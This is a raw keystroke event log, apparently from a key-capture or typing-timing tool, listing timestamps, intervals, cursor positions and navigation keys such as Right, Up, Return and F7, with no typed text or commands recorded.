-12:00:50.5844970:184,7087:628:Right:Right:39:False:False:False -12:00:50.7396058:155,1088:629:Right:Right:39:False:False:False -12:00:50.9130916:173,4858:630:Right:Right:39:False:False:False -12:00:50.9534804:40,3888:631:Right:Right:39:False:False:False -12:00:51.1176914:164,211:632:Right:Right:39:False:False:False -12:00:51.2751826:157,4912:633:Right:Right:39:False:False:False -12:00:51.8162658:541,0832:634:Right:Right:39:False:False:False -12:00:52.0399340:223,6682:635:Right:Right:39:False:False:False -12:00:52.2193730:179,439:636:Right:Right:39:False:False:False -12:00:52.3538421:134,4691:637:Right:Right:39:False:False:False -12:00:52.5347103:180,8682:638:Right:Right:39:False:False:False -12:00:52.6993577:164,6474:639:Right:Right:39:False:False:False -12:00:52.9175547:218,197:640:Right:Right:39:False:False:False -12:00:53.1197426:202,1879:641:Right:Right:39:False:False:False -12:00:53.5019943:382,2517:642:Right:Right:39:False:False:False -12:00:54.1238510:621,8567:643:Right:Right:39:False:False:False -12:00:54.7408872:617,0362:644:Right:Right:39:False:False:False -12:00:55.0548441:313,9569:645:Right:Right:39:False:False:False -12:00:55.3695981:314,754:646:Right:Right:39:False:False:False -12:00:55.6621570:291,563:647:Right:Right:39:False:False:False -12:00:55.9262445:264,0875:648:Right:Right:39:False:False:False -12:00:56.1077587:181,5142:649:Right:Right:39:False:False:False -12:00:56.2925400:184,7813:650:Right:Right:39:False:False:False -12:00:56.4567408:164,2008:651:Right:Right:39:False:False:False -12:00:56.6293897:172,6489:652:Right:Right:39:False:False:False -12:00:56.8095669:180,1772:653:Right:Right:39:False:False:False -12:00:56.9896312:180,0643:654:Right:Right:39:False:False:False -12:00:57.1694237:179,7925:655:Right:Right:39:False:False:False -12:00:57.3367853:167,3616:656:Right:Right:39:False:False:False -12:00:57.5456532:208,8679:657:Right:Right:39:False:False:False -12:00:57.7318856:186,1948:658:Right:Right:39:False:False:False -12:00:57.9977523:265,8667:659:Right:Right:39:False:False:False -12:00:58.1983354:200,5831:660:Right:Right:39:False:False:False -12:00:58.3777961:164,3893:661:Right:Right:39:False:False:False -12:00:58.5647205:186,9244:662:Right:Right:39:False:False:False -12:00:58.7676568:201,9463:663:Right:Right:39:False:False:False -12:00:58.9468899:179,2331:664:Right:Right:39:False:False:False -12:00:59.1167711:169,8812:665:Right:Right:39:False:False:False -12:00:59.2619384:145,1673:666:Right:Right:39:False:False:False -12:00:59.4420664:180,128:667:Right:Right:39:False:False:False -12:00:59.6348620:192,7956:668:Right:Right:39:False:False:False -12:00:59.8022306:167,3686:669:Right:Right:39:False:False:False -12:00:59.9597607:157,5301:670:Right:Right:39:False:False:False -12:01:01.4447691:1485,0084:671:Right:Right:39:False:False:False -12:01:01.8053130:359,5087:672:Right:Right:39:False:False:False -12:01:02.8177551:1012,4421:673:Right:Right:39:False:False:False -12:01:03.5609788:743,2237:674:Right:Right:39:False:False:False -12:01:04.1449046:583,9258:675:Right:Right:39:False:False:False -12:01:04.6728577:526,9499:676:Right:Right:39:False:False:False -12:01:05.2703880:597,5303:677:Right:Right:39:False:False:False -12:01:05.8770536:606,6656:678:Right:Right:39:False:False:False -12:01:06.1244930:246,4449:679:Right:Right:39:False:False:False -12:01:06.4067812:282,2882:680:Right:Right:39:False:False:False -12:01:06.9081364:501,3552:681:Right:Right:39:False:False:False -12:01:07.2281459:320,0095:682:Right:Right:39:False:False:False -12:01:08.5543706:1326,1228:683:Return:Return:13:False:False:False -12:02:08.1759091:59620,5127:3087:Return:Return:13:False:False:False -12:02:12.1068527:3930,9436:3087:Right:Right:39:False:False:False -12:02:12.3007318:193,8791:3088:Right:Right:39:False:False:False -12:02:12.6808354:380,1036:3089:Right:Right:39:False:False:False -12:02:12.8777321:195,8568:3090:Right:Right:39:False:False:False -12:02:13.0553942:177,6621:3091:Right:Right:39:False:False:False -12:02:13.3339743:278,5801:3092:Right:Right:39:False:False:False -12:02:13.5814575:247,4832:3093:Right:Right:39:False:False:False -12:02:13.9630930:381,6355:3094:Right:Right:39:False:False:False -12:02:14.5927253:629,6323:3095:Right:Right:39:False:False:False -12:02:14.9752260:383,5338:3096:Right:Right:39:False:False:False -12:02:15.6670752:690,3281:3097:Right:Right:39:False:False:False -12:02:15.9550537:287,9785:3098:Right:Right:39:False:False:False -12:02:16.2131790:258,1253:3099:Right:Right:39:False:False:False -12:02:16.4391521:225,9731:3100:Right:Right:39:False:False:False -12:02:16.6403646:201,2125:3101:Right:Right:39:False:False:False -12:02:16.8206570:180,2924:3102:Right:Right:39:False:False:False -12:02:17.0001481:179,4911:3103:Right:Right:39:False:False:False -12:02:17.1787477:178,5996:3104:Right:Right:39:False:False:False -12:02:17.3596883:180,9406:3105:Right:Right:39:False:False:False -12:02:17.5259793:166,291:3106:Right:Right:39:False:False:False -12:02:17.7203533:179,8053:3107:Right:Right:39:False:False:False -12:02:17.9225522:202,1989:3108:Right:Right:39:False:False:False -12:02:18.1247827:202,2305:3109:Right:Right:39:False:False:False -12:02:18.3135193:187,88:3110:Right:Right:39:False:False:False -12:02:18.4849935:171,4742:3111:Right:Right:39:False:False:False -12:02:18.9354385:450,445:3112:Right:Right:39:False:False:False -12:02:19.1608412:225,4027:3113:Right:Right:39:False:False:False -12:02:19.3633998:202,5586:3114:Right:Right:39:False:False:False -12:02:20.0829954:719,5956:3115:Right:Right:39:False:False:False -12:02:20.2851729:201,1459:3116:Right:Right:39:False:False:False -12:02:20.4740757:188,9028:3117:Right:Right:39:False:False:False -12:02:20.6450324:170,9567:3118:Right:Right:39:False:False:False -12:02:20.8253452:180,3128:3119:Right:Right:39:False:False:False -12:02:21.0268988:201,5536:3120:Right:Right:39:False:False:False -12:02:21.2315393:204,6405:3121:Right:Right:39:False:False:False -12:02:21.4339191:201,3843:3122:Right:Right:39:False:False:False -12:02:21.6129734:179,0543:3123:Right:Right:39:False:False:False -12:02:21.7930169:180,0435:3124:Right:Right:39:False:False:False -12:02:21.9729337:179,9168:3125:Right:Right:39:False:False:False -12:02:22.1528077:179,874:3126:Right:Right:39:False:False:False -12:02:22.3339275:181,1198:3127:Right:Right:39:False:False:False -12:02:22.5129194:178,9919:3128:Right:Right:39:False:False:False -12:02:22.6929072:179,9878:3129:Right:Right:39:False:False:False -12:02:22.8951489:202,2417:3130:Right:Right:39:False:False:False -12:02:23.0762711:181,1222:3131:Right:Right:39:False:False:False -12:02:23.2551811:178,91:3132:Right:Right:39:False:False:False -12:02:23.7287285:472,9646:3133:Right:Right:39:False:False:False -12:02:24.4036575:673,9358:3134:Right:Right:39:False:False:False -12:02:25.0556070:651,9495:3135:Right:Right:39:False:False:False -12:02:25.2804852:224,8782:3136:Right:Right:39:False:False:False -12:02:25.7051833:424,6981:3137:Right:Right:39:False:False:False -12:02:25.9553409:250,1576:3138:Right:Right:39:False:False:False -12:02:26.1398423:183,5006:3139:Right:Right:39:False:False:False -12:02:26.3377307:197,8884:3140:Right:Right:39:False:False:False -12:02:26.5179707:180,24:3141:Right:Right:39:False:False:False -12:02:26.6980410:180,0703:3142:Right:Right:39:False:False:False -12:02:26.8540182:155,9772:3143:Right:Right:39:False:False:False -12:02:27.0495466:195,5284:3144:Right:Right:39:False:False:False -12:02:27.2830139:233,4673:3145:Right:Right:39:False:False:False -12:02:27.4749335:191,9196:3146:Right:Right:39:False:False:False -12:02:27.6409191:165,9856:3147:Right:Right:39:False:False:False -12:02:27.8120638:171,1447:3148:Right:Right:39:False:False:False -12:02:27.9802331:168,1693:3149:Right:Right:39:False:False:False -12:02:28.2018463:221,6132:3150:Right:Right:39:False:False:False -12:02:28.3180526:116,2063:3151:Right:Right:39:False:False:False -12:02:28.5212900:203,2374:3152:Right:Right:39:False:False:False -12:02:28.7234912:202,2012:3153:Right:Right:39:False:False:False -12:02:28.9037548:179,7821:3154:Right:Right:39:False:False:False -12:02:29.1055248:201,77:3155:Right:Right:39:False:False:False -12:02:29.3305085:223,9476:3156:Right:Right:39:False:False:False -12:02:29.5339002:203,3917:3157:Right:Right:39:False:False:False -12:02:29.7360290:202,1288:3158:Right:Right:39:False:False:False -12:02:29.9098670:172,8433:3159:Right:Right:39:False:False:False -12:02:30.0951385:185,2715:3160:Right:Right:39:False:False:False -12:02:30.2530864:157,9479:3161:Right:Right:39:False:False:False -12:02:30.4563030:203,2166:3162:Right:Right:39:False:False:False -12:02:30.6253833:169,0803:3163:Right:Right:39:False:False:False -12:02:30.9282343:302,851:3164:Right:Right:39:False:False:False -12:02:31.1305070:201,2786:3165:Right:Right:39:False:False:False -12:02:31.3331226:202,6156:3166:Right:Right:39:False:False:False -12:02:31.5271310:192,9717:3167:Right:Right:39:False:False:False -12:02:31.7152605:188,1295:3168:Right:Right:39:False:False:False -12:02:31.8953251:180,0646:3169:Right:Right:39:False:False:False -12:02:32.1205005:225,1754:3170:Right:Right:39:False:False:False -12:02:32.3231459:202,6454:3171:Right:Right:39:False:False:False -12:02:32.5252696:202,1237:3172:Right:Right:39:False:False:False -12:02:32.7053846:180,115:3173:Right:Right:39:False:False:False -12:02:32.9305274:225,1428:3174:Right:Right:39:False:False:False -12:02:33.1417405:211,2131:3175:Right:Right:39:False:False:False -12:02:33.3126376:170,8971:3176:Right:Right:39:False:False:False -12:02:33.5828615:269,2208:3177:Right:Right:39:False:False:False -12:02:33.7617891:178,9276:3178:Right:Right:39:False:False:False -12:02:33.9878126:226,0235:3179:Right:Right:39:False:False:False -12:02:34.2234919:236,6757:3180:Right:Right:39:False:False:False -12:02:34.3479710:123,4827:3181:Right:Right:39:False:False:False -12:02:34.5286788:180,7078:3182:Right:Right:39:False:False:False -12:02:34.7308413:202,1625:3183:Right:Right:39:False:False:False -12:15:32.7907878: -----======= START =======----- -12:15:35.1882088:3403,5485:0:F7:F7:118:False:False:False -12:15:36.4577529:1269,5441:0:None:LButton, OemClear:255:False:False:False -11:30:47.1650827:1766,8257:0:F7:F7:118:False:False:False -11:30:48.3451286:1180,0459:0:F7:F7:118:False:False:False -11:30:48.6311223:285,9937:0:F7:F7:118:False:False:False -13:39:22.3961793:32520,0581:2207:Space:Space:32:False:False:False -13:39:26.0901819:3694,0026:2308:Return:Return:13:False:False:False -13:39:30.7070720:4616,8901:2429:Return:Return:13:False:False:False -13:39:31.6926613:985,5893:2429:Return:Return:13:False:False:False -13:39:33.7449688:2052,3075:2469:Return:Return:13:False:False:False -13:39:35.7364510:1991,4822:2469:Right:Right:39:False:False:False -13:39:36.0014382:263,9448:2470:Right:Right:39:False:False:False -13:39:36.2117315:209,2894:2471:Right:Right:39:False:False:False -13:39:36.3814293:169,6978:2472:Right:Right:39:False:False:False -13:39:36.5753257:193,8964:2473:Right:Right:39:False:False:False -13:39:37.0277425:452,4168:2474:Right:Right:39:False:False:False -13:39:38.3622047:1334,4622:2475:Right:Right:39:False:False:False -13:39:38.7640125:401,8078:2476:Right:Right:39:False:False:False -13:39:39.0547617:290,7492:2477:Right:Right:39:False:False:False -13:39:39.3174276:262,6659:2478:Right:Right:39:False:False:False -13:39:40.0972504:779,8228:2479:Right:Right:39:False:False:False -13:39:40.5599570:462,7066:2480:Right:Right:39:False:False:False -13:40:30.5642042:50004,2472:2481:Return:Return:13:False:False:False -13:40:34.2434477:3679,2435:4246:Return:Return:13:False:False:False -13:40:35.1832087:939,761:4246:Return:Return:13:False:False:False -13:42:31.7454488:199905,5934:7886:F7:F7:118:False:False:False -13:42:32.0965684:350,1221:7895:F7:F7:118:False:False:False -13:42:32.3193167:222,7483:7900:F7:F7:118:False:False:False -14:14:36.0046553:56434,701:1108:Space:Space:32:False:False:False -14:14:36.5453315:540,6762:1118:Return:Return:13:False:False:False -14:14:47.5539582:11008,6267:1455:Return:Return:13:False:False:False -14:14:48.2449320:689,9768:1455:Return:Return:13:False:False:False -14:14:50.9187170:2673,785:1535:Right:Right:39:False:False:False -14:14:51.1070070:188,29:1538:Right:Right:39:False:False:False -14:14:51.8554947:748,4877:1564:Return:Return:13:False:False:False -14:14:52.3452081:489,7134:1564:Return:Return:13:False:False:False -14:15:48.3889616:56043,7535:3274:Return:Return:13:False:False:False -14:15:51.5073137:3118,3521:3274:Right:Right:39:False:False:False -14:15:51.7101019:212,2458:3275:Right:Right:39:False:False:False -14:15:51.8556804:136,1209:3276:Right:Right:39:False:False:False -14:15:52.3318174:476,137:3277:Right:Right:39:False:False:False -14:15:52.4968777:164,0644:3278:Right:Right:39:False:False:False -14:15:52.6492678:152,3901:3279:Right:Right:39:False:False:False -14:15:52.8134939:164,2261:3280:Right:Right:39:False:False:False -14:16:12.5909200:19777,4261:3281:Right:Right:39:False:False:False -14:16:12.8247281:233,4855:3282:Right:Right:39:False:False:False -14:16:12.9879131:163,185:3283:Right:Right:39:False:False:False -14:16:13.1549176:167,0045:3284:Right:Right:39:False:False:False -14:16:13.3442972:189,3796:3285:Right:Right:39:False:False:False -14:16:13.5541503:209,8531:3286:Right:Right:39:False:False:False -14:16:13.7315352:177,3849:3287:Right:Right:39:False:False:False -14:16:14.1221071:390,5719:3288:Return:Return:13:False:False:False -14:16:22.0762991:7954,192:4314:Return:Return:13:False:False:False -14:16:23.7052161:1627,9189:4314:Right:Right:39:False:False:False -14:16:23.9195738:213,3576:4315:Right:Right:39:False:False:False -14:16:24.2921549:372,5811:4316:Right:Right:39:False:False:False -14:16:24.4570688:164,9139:4317:Right:Right:39:False:False:False -14:16:24.7129042:255,8354:4318:Right:Right:39:False:False:False -14:16:26.5149710:1802,0668:4319:Right:Right:39:False:False:False -14:16:26.8766948:361,7238:4320:Right:Right:39:False:False:False -14:16:27.3812881:504,5933:4321:Right:Right:39:False:False:False -14:16:27.8221723:440,8842:4322:Right:Right:39:False:False:False -14:16:28.0663562:244,1839:4323:Right:Right:39:False:False:False -14:16:28.2225425:156,1863:4324:Right:Right:39:False:False:False -14:16:28.6116656:389,1231:4325:Right:Right:39:False:False:False -14:16:28.7909285:179,2629:4326:Right:Right:39:False:False:False -14:16:28.9937894:202,8609:4327:Right:Right:39:False:False:False -14:16:29.1905793:196,7899:4328:Right:Right:39:False:False:False -14:16:31.1375322:1946,9529:4329:Right:Right:39:False:False:False -14:16:31.3431206:205,5884:4330:Right:Right:39:False:False:False -14:16:31.5566185:212,4954:4331:Right:Right:39:False:False:False -14:16:31.7297131:173,0946:4332:Right:Right:39:False:False:False -14:16:31.9576984:227,9853:4333:Right:Right:39:False:False:False -14:16:32.1219452:164,2468:4334:Right:Right:39:False:False:False -14:16:32.3067852:184,84:4335:Right:Right:39:False:False:False -14:16:32.6449416:338,1564:4336:Right:Right:39:False:False:False -14:16:33.0093441:364,4025:4337:Up:Up:38:False:False:False -14:16:33.2897006:280,3565:4342:Up:Up:38:False:False:False -14:16:33.4561257:166,4251:4347:Up:Up:38:False:False:False -14:16:33.6563444:200,2187:4352:Up:Up:38:False:False:False -14:16:33.8449662:188,6218:4357:Up:Up:38:False:False:False -14:16:34.0155164:170,5502:4362:Up:Up:38:False:False:False -14:16:34.1874090:171,8926:4367:Up:Up:38:False:False:False -14:16:34.3418161:154,4071:4372:Up:Up:38:False:False:False -14:16:34.5226899:180,8738:4377:Up:Up:38:False:False:False -14:16:34.6933900:170,7001:4382:Up:Up:38:False:False:False -14:16:34.8804084:187,0184:4387:Up:Up:38:False:False:False -14:16:35.0483842:162,2129:4392:Up:Up:38:False:False:False -14:16:35.2266162:178,232:4397:Up:Up:38:False:False:False -14:16:35.4154760:188,8598:4402:Up:Up:38:False:False:False -14:16:36.2991425:883,6665:4407:Return:Return:13:False:False:False -17:12:07.4650689:47913,4839:3662:ControlKey:ControlKey, Control:17:False:False:True -17:12:08.1286995:663,6306:3681:ControlKey:ControlKey, Control:17:False:False:True -17:12:08.4760858:346,3889:3696:ControlKey:ControlKey, Control:17:False:False:True -17:12:09.0079093:530,8255:3720:ControlKey:ControlKey, Control:17:False:False:True -17:12:09.3872036:379,2943:3739:ControlKey:ControlKey, Control:17:False:False:True -17:12:09.7108469:323,0963:3748:ControlKey:ControlKey, Control:17:False:False:True -17:12:10.2405089:529,662:3758:ControlKey:ControlKey, Control:17:False:False:True -17:12:10.8107886:570,2797:3779:ControlKey:ControlKey, Control:17:False:False:True -17:12:11.1748800:364,0914:3787:ControlKey:ControlKey, Control:17:False:False:True -17:12:11.8933632:718,4832:3808:ControlKey:ControlKey, Control:17:False:False:True -17:12:12.3781729:484,8097:3822:ControlKey:ControlKey, Control:17:False:False:True -17:12:13.0265194:648,3465:3844:ControlKey:ControlKey, Control:17:False:False:True -17:12:14.1015583:1075,0389:3880:ControlKey:ControlKey, Control:17:False:False:True -17:12:38.1535538:24051,9955:81:ControlKey:ControlKey, Control:17:False:False:True -17:12:38.9694051:815,8513:112:ControlKey:ControlKey, Control:17:False:False:True -17:12:39.7233461:753,941:142:ControlKey:ControlKey, Control:17:False:False:True -17:13:20.9034368:41180,0907:1301:Return:Return:13:False:False:False -17:13:22.9361525:2032,7157:1301:Right:Right:39:False:False:False -17:13:23.2116889:275,5364:1302:Right:Right:39:False:False:False -17:13:23.4159001:204,2112:1303:Right:Right:39:False:False:False -17:13:23.8496541:433,754:1304:Up:Up:38:False:False:False -17:13:24.2608399:411,1858:1309:Up:Up:38:False:False:False -17:13:24.4656128:204,7729:1314:Up:Up:38:False:False:False -17:13:24.6964957:230,8829:1319:Up:Up:38:False:False:False -17:13:24.8985018:202,0061:1324:Up:Up:38:False:False:False -17:13:25.0444081:145,9063:1329:Up:Up:38:False:False:False -17:13:25.3959023:351,4942:1334:Up:Up:38:False:False:False -17:13:25.8121751:416,2728:1339:Up:Up:38:False:False:False -17:13:26.1078687:295,6936:1344:Up:Up:38:False:False:False -17:13:26.4956774:387,8087:1349:Up:Up:38:False:False:False -17:13:26.9567741:461,0967:1354:Up:Up:38:False:False:False -17:13:27.1684753:208,6947:1359:Up:Up:38:False:False:False -17:13:27.5349516:366,4763:1364:Up:Up:38:False:False:False -17:13:27.7484838:213,5322:1369:Up:Up:38:False:False:False -17:13:27.9355119:187,0281:1374:Up:Up:38:False:False:False -17:13:28.1057556:170,2437:1379:Up:Up:38:False:False:False -17:13:28.2928051:187,0495:1384:Up:Up:38:False:False:False -17:13:28.5166598:223,8547:1389:Up:Up:38:False:False:False -17:13:28.8121302:295,4704:1394:Up:Up:38:False:False:False -17:13:28.9784470:166,3168:1399:Up:Up:38:False:False:False -17:13:29.1794822:201,0352:1404:Up:Up:38:False:False:False -17:13:29.3634188:183,9366:1409:Up:Up:38:False:False:False -17:13:29.5545215:191,1027:1414:Up:Up:38:False:False:False -17:13:29.7356881:181,1666:1419:Up:Up:38:False:False:False -17:13:29.9157821:180,094:1424:Up:Up:38:False:False:False -17:13:30.1436875:227,9054:1429:Up:Up:38:False:False:False -17:13:30.3102200:166,5325:1434:Up:Up:38:False:False:False -17:13:30.5496736:238,3208:1439:Up:Up:38:False:False:False -17:13:30.7566422:206,9686:1444:Up:Up:38:False:False:False -17:13:30.9427176:186,0754:1449:Up:Up:38:False:False:False -17:13:31.1038811:161,1635:1454:Up:Up:38:False:False:False -17:13:31.2956842:191,8031:1459:Up:Up:38:False:False:False -17:13:31.5000832:204,399:1464:Up:Up:38:False:False:False -17:13:31.7129578:212,8746:1469:Up:Up:38:False:False:False -17:13:31.8959621:183,0043:1474:Up:Up:38:False:False:False -17:13:32.0829727:187,0106:1479:Up:Up:38:False:False:False -17:13:32.3726451:289,6724:1484:Right:Right:39:False:False:False -17:13:32.6154985:242,8534:1485:Right:Right:39:False:False:False -17:13:32.8073991:191,9006:1486:Right:Right:39:False:False:False -17:13:33.0323838:224,9847:1487:Right:Right:39:False:False:False -17:13:33.4454697:413,0859:1488:Right:Right:39:False:False:False -17:13:33.7116471:266,1774:1489:Right:Right:39:False:False:False -17:13:33.9289632:217,3161:1490:Right:Right:39:False:False:False -17:13:34.3126607:383,6975:1491:Right:Right:39:False:False:False -17:13:34.6135837:300,923:1492:Right:Right:39:False:False:False -17:13:34.8458473:232,2636:1493:Right:Right:39:False:False:False -17:13:35.0918032:245,9559:1494:Right:Right:39:False:False:False -17:13:37.2445440:2152,7408:1495:Right:Right:39:False:False:False -17:13:37.4789020:234,358:1496:Right:Right:39:False:False:False -17:13:37.6743494:195,4474:1497:Right:Right:39:False:False:False -17:13:37.8665004:192,151:1498:Right:Right:39:False:False:False -17:13:38.0407273:174,2269:1499:Right:Right:39:False:False:False -17:13:38.5381075:497,3802:1500:Right:Right:39:False:False:False -17:13:38.5709110:32,8035:1501:Right:Right:39:False:False:False -17:13:38.6049916:34,0806:1502:Right:Right:39:False:False:False -17:13:38.6367314:31,7398:1503:Right:Right:39:False:False:False -17:13:38.6605997:32,9073:1504:Right:Right:39:False:False:False -17:13:38.7023319:32,6932:1505:Right:Right:39:False:False:False -17:13:38.7352192:32,8873:1506:Right:Right:39:False:False:False -17:13:38.7680248:32,8056:1507:Right:Right:39:False:False:False -17:13:38.8010475:33,0227:1508:Right:Right:39:False:False:False -17:13:38.8336083:32,5608:1509:Right:Right:39:False:False:False -17:13:38.8665211:32,9128:1510:Right:Right:39:False:False:False -17:13:38.8992566:32,7355:1511:Right:Right:39:False:False:False -17:13:38.9321688:32,9122:1512:Right:Right:39:False:False:False -17:13:38.9649898:32,821:1513:Right:Right:39:False:False:False -17:13:38.9978028:32,813:1514:Right:Right:39:False:False:False -17:13:39.0306028:32,8:1515:Right:Right:39:False:False:False -17:13:39.0634822:32,8794:1516:Right:Right:39:False:False:False -17:13:39.0965994:33,1172:1517:Right:Right:39:False:False:False -17:13:39.1292039:32,6045:1518:Right:Right:39:False:False:False -17:13:39.1628933:33,6894:1519:Right:Right:39:False:False:False -17:13:39.1952645:32,3712:1520:Right:Right:39:False:False:False -17:13:39.3311592:135,8947:1521:Right:Right:39:False:False:False -17:13:39.8287494:497,5902:1522:Right:Right:39:False:False:False -17:13:39.8609594:32,21:1523:Right:Right:39:False:False:False -17:13:39.8937253:31,7728:1524:Right:Right:39:False:False:False -17:13:39.9271725:32,4455:1525:Right:Right:39:False:False:False -17:13:39.9601245:32,952:1526:Right:Right:39:False:False:False -17:13:39.9782043:18,0798:1527:Right:Right:39:False:False:False -17:13:40.0258606:47,6563:1528:Right:Right:39:False:False:False -17:13:40.0447300:18,8694:1529:Right:Right:39:False:False:False -17:13:40.0915538:32,6466:1530:Right:Right:39:False:False:False -17:13:40.2439634:152,4096:1531:Right:Right:39:False:False:False -17:13:40.7422335:498,2701:1532:Right:Right:39:False:False:False -17:13:40.7747273:32,4938:1533:Right:Right:39:False:False:False -17:13:40.8003251:25,5978:1534:Right:Right:39:False:False:False -17:13:40.8408801:40,555:1535:Right:Right:39:False:False:False -17:13:40.8736097:32,7296:1536:Right:Right:39:False:False:False -17:13:40.9028571:29,2474:1537:Right:Right:39:False:False:False -17:13:40.9343111:31,454:1538:Right:Right:39:False:False:False -17:13:40.9721158:37,8047:1539:Right:Right:39:False:False:False -17:13:41.0054638:33,348:1540:Right:Right:39:False:False:False -17:13:41.0377926:32,3288:1541:Right:Right:39:False:False:False -17:13:41.0717359:33,9433:1542:Right:Right:39:False:False:False -17:13:41.1034447:31,7088:1543:Right:Right:39:False:False:False -17:13:41.2776167:174,172:1544:Right:Right:39:False:False:False -17:13:41.7753184:497,7017:1545:Right:Right:39:False:False:False -17:13:41.7968639:21,5455:1546:Right:Right:39:False:False:False -17:13:41.8409420:44,0781:1547:Right:Right:39:False:False:False -17:13:41.8736515:32,7095:1548:Right:Right:39:False:False:False -17:13:41.9065384:32,8869:1549:Right:Right:39:False:False:False -17:13:41.9394830:32,9446:1550:Right:Right:39:False:False:False -17:13:41.9722651:32,7821:1551:Right:Right:39:False:False:False -17:13:41.9961173:23,8522:1552:Right:Right:39:False:False:False -17:13:42.0379842:41,8669:1553:Right:Right:39:False:False:False -17:13:42.0757690:37,7848:1554:Right:Right:39:False:False:False -17:13:42.0973780:21,609:1555:Right:Right:39:False:False:False -17:13:42.1326574:35,2794:1556:Right:Right:39:False:False:False -17:13:42.1691173:36,4599:1557:Right:Right:39:False:False:False -17:13:42.2020088:32,8915:1558:Right:Right:39:False:False:False -17:13:42.2346703:32,6615:1559:Right:Right:39:False:False:False -17:13:42.2677485:33,0782:1560:Right:Right:39:False:False:False -17:13:42.2893278:21,5793:1561:Right:Right:39:False:False:False -17:13:42.3334554:44,1276:1562:Right:Right:39:False:False:False -17:13:42.3662341:32,7787:1563:Right:Right:39:False:False:False -17:13:42.3961687:29,9346:1564:Right:Right:39:False:False:False -17:13:42.4318611:35,6924:1565:Right:Right:39:False:False:False -17:13:42.4647145:32,8534:1566:Right:Right:39:False:False:False -17:13:42.4975921:32,8776:1567:Right:Right:39:False:False:False -17:13:42.5297282:32,1361:1568:Right:Right:39:False:False:False -17:13:42.5631950:33,4668:1569:Right:Right:39:False:False:False -17:13:42.5961942:32,9992:1570:Right:Right:39:False:False:False -17:13:42.7715568:175,3626:1571:Right:Right:39:False:False:False -17:13:43.3315308:559,974:1572:Up:Up:38:False:False:False -17:13:43.8293442:497,8134:1577:Up:Up:38:False:False:False -17:13:43.8619896:31,5938:1582:Up:Up:38:False:False:False -17:13:43.8941302:32,1406:1587:Up:Up:38:False:False:False -17:13:43.9278763:33,7461:1592:Up:Up:38:False:False:False -17:13:43.9791716:51,2953:1597:Up:Up:38:False:False:False -17:13:44.0447748:65,6032:1602:Up:Up:38:False:False:False -17:13:44.1444152:99,6404:1607:Up:Up:38:False:False:False -17:13:44.2733354:127,3802:1612:Up:Up:38:False:False:False -17:13:44.4247085:151,3731:1617:Up:Up:38:False:False:False -17:13:44.6310067:206,2982:1622:Up:Up:38:False:False:False -17:13:45.0672686:436,2619:1627:Up:Up:38:False:False:False -17:13:45.2440635:176,7949:1632:Up:Up:38:False:False:False -17:13:45.5472330:303,1695:1637:Right:Right:39:False:False:False -17:13:45.7863465:239,1135:1638:Right:Right:39:False:False:False -17:13:45.9791929:192,8464:1639:Right:Right:39:False:False:False -17:13:46.1495314:170,3385:1640:Right:Right:39:False:False:False -17:13:46.4957940:346,2626:1641:Right:Right:39:False:False:False -17:13:46.6868825:191,0885:1642:Right:Right:39:False:False:False -17:13:46.9067895:219,907:1643:Right:Right:39:False:False:False -17:13:47.4043789:497,5894:1644:Right:Right:39:False:False:False -17:13:47.5183989:114,02:1645:Right:Right:39:False:False:False -17:13:47.6464992:128,1003:1646:Right:Right:39:False:False:False -17:13:47.7995253:153,0261:1647:Right:Right:39:False:False:False -17:13:47.9171560:117,6307:1648:Right:Right:39:False:False:False -17:13:48.0303842:113,2282:1649:Right:Right:39:False:False:False -17:13:48.1513638:120,9796:1650:Right:Right:39:False:False:False -17:13:48.1594589:8,0951:1651:Right:Right:39:False:False:False -17:13:48.1950268:35,5679:1652:Right:Right:39:False:False:False -17:13:48.2462814:51,2546:1653:Right:Right:39:False:False:False -17:13:48.3181145:71,8331:1654:Right:Right:39:False:False:False -17:13:48.3894474:71,3329:1655:Right:Right:39:False:False:False -17:13:48.4554361:65,9887:1656:Right:Right:39:False:False:False -17:13:48.5142093:58,7732:1657:Right:Right:39:False:False:False -17:13:48.5886350:74,4257:1658:Right:Right:39:False:False:False -17:13:48.6617477:73,1127:1659:Right:Right:39:False:False:False -17:13:48.7547095:92,9618:1660:Right:Right:39:False:False:False -17:13:48.8343822:79,6727:1661:Right:Right:39:False:False:False -17:13:48.9350222:100,64:1662:Right:Right:39:False:False:False -17:13:49.0285408:93,5186:1663:Right:Right:39:False:False:False -17:13:49.1470980:118,5572:1664:Right:Right:39:False:False:False -17:13:49.2731383:126,0403:1665:Right:Right:39:False:False:False -17:13:49.3899867:116,8484:1666:Right:Right:39:False:False:False -17:13:49.5063106:116,3239:1667:Right:Right:39:False:False:False -17:13:49.6246558:118,3452:1668:Right:Right:39:False:False:False -17:13:49.7496197:124,9639:1669:Right:Right:39:False:False:False -17:13:49.8805927:130,973:1670:Right:Right:39:False:False:False -17:13:50.0223942:141,8015:1671:Right:Right:39:False:False:False -17:13:50.1643645:141,9703:1672:Right:Right:39:False:False:False -17:13:50.3074127:142,9952:1673:Right:Right:39:False:False:False -17:13:50.4617988:154,3861:1674:Right:Right:39:False:False:False -17:13:50.6152322:153,4334:1675:Right:Right:39:False:False:False -17:13:50.7664321:151,1999:1676:Right:Right:39:False:False:False -17:13:50.9204733:154,0412:1677:Right:Right:39:False:False:False -17:13:51.0789234:158,4501:1678:Right:Right:39:False:False:False -17:13:51.0819698:3,0464:1679:Right:Right:39:False:False:False -17:13:51.2507831:168,8133:1680:Right:Right:39:False:False:False -17:13:51.3021735:51,3904:1681:Right:Right:39:False:False:False -17:13:51.3607121:58,5386:1682:Right:Right:39:False:False:False -17:13:51.4205894:59,8773:1683:Right:Right:39:False:False:False -17:13:51.4834465:62,8571:1684:Right:Right:39:False:False:False -17:13:51.5450135:61,567:1685:Right:Right:39:False:False:False -17:13:51.6159227:70,9092:1686:Right:Right:39:False:False:False -17:13:51.7041844:88,2617:1687:Right:Right:39:False:False:False -17:13:51.7061674:1,983:1688:Right:Right:39:False:False:False -17:13:51.7876227:81,4553:1689:Right:Right:39:False:False:False -17:13:51.8724862:84,8635:1690:Right:Right:39:False:False:False -17:13:51.9676352:95,149:1691:Right:Right:39:False:False:False -17:13:51.9686327:0,9975:1692:Right:Right:39:False:False:False -17:13:52.0654729:96,8402:1693:Right:Right:39:False:False:False -17:13:52.0673862:1,9133:1694:Right:Right:39:False:False:False -17:13:52.1717170:104,3308:1695:Right:Right:39:False:False:False -17:13:52.2821642:110,4472:1696:Right:Right:39:False:False:False -17:13:52.3974279:115,2637:1697:Right:Right:39:False:False:False -17:13:52.5173624:119,9345:1698:Right:Right:39:False:False:False -17:13:52.6317939:114,4315:1699:Right:Right:39:False:False:False 